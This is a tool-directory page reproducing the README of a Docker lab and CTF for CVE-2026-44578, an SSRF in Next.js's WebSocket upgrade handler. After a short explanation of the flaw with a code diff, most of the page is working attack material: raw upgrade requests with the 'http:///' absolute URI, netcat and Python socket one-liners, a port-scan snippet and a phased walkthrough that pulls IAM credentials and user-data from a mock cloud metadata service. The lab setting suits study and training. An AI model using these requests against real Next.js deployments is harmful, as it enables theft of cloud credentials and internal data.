Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44578-next-js-ssrf — este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah | Kitploit
Tools/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud SecurityLabs & Practice
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah

View RepositoryWebsite
421 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Lab)

Self-contained lab to reproduce the CVE-2026-44578 vulnerability (CWE-918, SSRF) in self-hosted Next.js applications that use the built-in Node.js server.

FieldValue
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TypeSSRF (CWE-918)
Affected versionsNext.js 13.4.13 – 15.5.15 and 16.0.0 – 16.2.4
Patched versions15.5.16 and 16.2.5
Authenticationnone
User interactionnone

Lab topology

Attacker (host: 0.0.0.0)
    │  HTTP :3000 (public)
    ▼
┌──────────────────────────┐  same network namespace  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (credentials,       │
│ (built-in Node server)   │                           │  user-data, index)  │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (port 3000): the vulnerable app, exposed on 0.0.0.0:3000.
  • imds-sidecar: mock of the AWS metadata service that lives on localhost:80 inside the Next.js container's namespace, modeling a real cloud instance. It is not reachable from the host directly (no published port).
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # Automated PoC (5 probes)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + secret routes
                        └── nextjs-app/             # Realistic app "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (vulnerable)

Why it is vulnerable

The WebSocket upgrade handler in router-server.ts calls proxyRequest() when the parsed URI has parsedUrl.protocol, without checking the finished and statusCode flags that the normal HTTP handler always emitted:

  // vulnerable (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // patch (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

The attack path uses a request line with a double-slash absolute URI: GET http:///path. normalizeRepeatedSlashes collapses http:/// to http:/, leaving no hostname, and http-proxy then connects to localhost:80 with the path intact:

GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

The presence of the Connection: Upgrade + Upgrade: websocket headers causes the request to fall into the vulnerable upgrade handler instead of the HTTP handler with the security checks.

Bring up the lab

docker compose up -d --build

Verify that the app responds:

curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

To keep it running on 0.0.0.0, the port mapping in docker-compose.yml already exposes 3000:3000 on all interfaces.

Manual exploitation

1. Using netcat (nc)

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Using pure Python (stdlib, no dependencies)

python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. Using the automated PoC

python3 exploit/exploit.py 127.0.0.1 3000

CTF — manual capture of the final flag

Fully manual flow, 100% manual, in 4 phases. There are 4 flags hidden in the internal service (localhost:80); this guide shows the flow up to the first one and leaves you the routes to find the rest.

Phase 1 — Reconnaissance

# Server fingerprint
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Open ports via socket (no nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

There is no direct access to 127.0.0.1:80 from the attacker: the only vector is to make the Next.js server (which does live on the same network as the internal service) request on our behalf.

Phase 2 — Enumeration of the metadata service via SSRF

First we confirm the SSRF by asking for the metadata service index:

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Index response → candidates: instance-id, hostname, iam/security-credentials/, user-data (first flag). The index of latest/meta-data/ also reveals sub-keys worth exploring further.

Phase 3 — Payload construction (byte by byte)

GET http:///latest/user-data HTTP/1.1
PartFunction
GETThe vuln only proxies GET
http:///latest/user-dataAbsolute URI. http:/// collapses to http:/ → hostname null → the proxy connects to localhost:80 keeping the path /latest/user-data
Host: 127.0.0.1:3000Otherwise, the server responds 400
Connection: Upgrade + Upgrade: websocketDivert the request to the vulnerable upgrade handler (the normal HTTP handler does validate)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==Minimum headers required in a legitimate handshake

Termination: \r\n\r\n on the raw socket (no body).

Phase 4 — Manual trigger and flag capture

# Option A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Option B: raw socket in Python (same precision, no nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Output — the first flag arrives in the response body from the internal service:

HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
Download Tool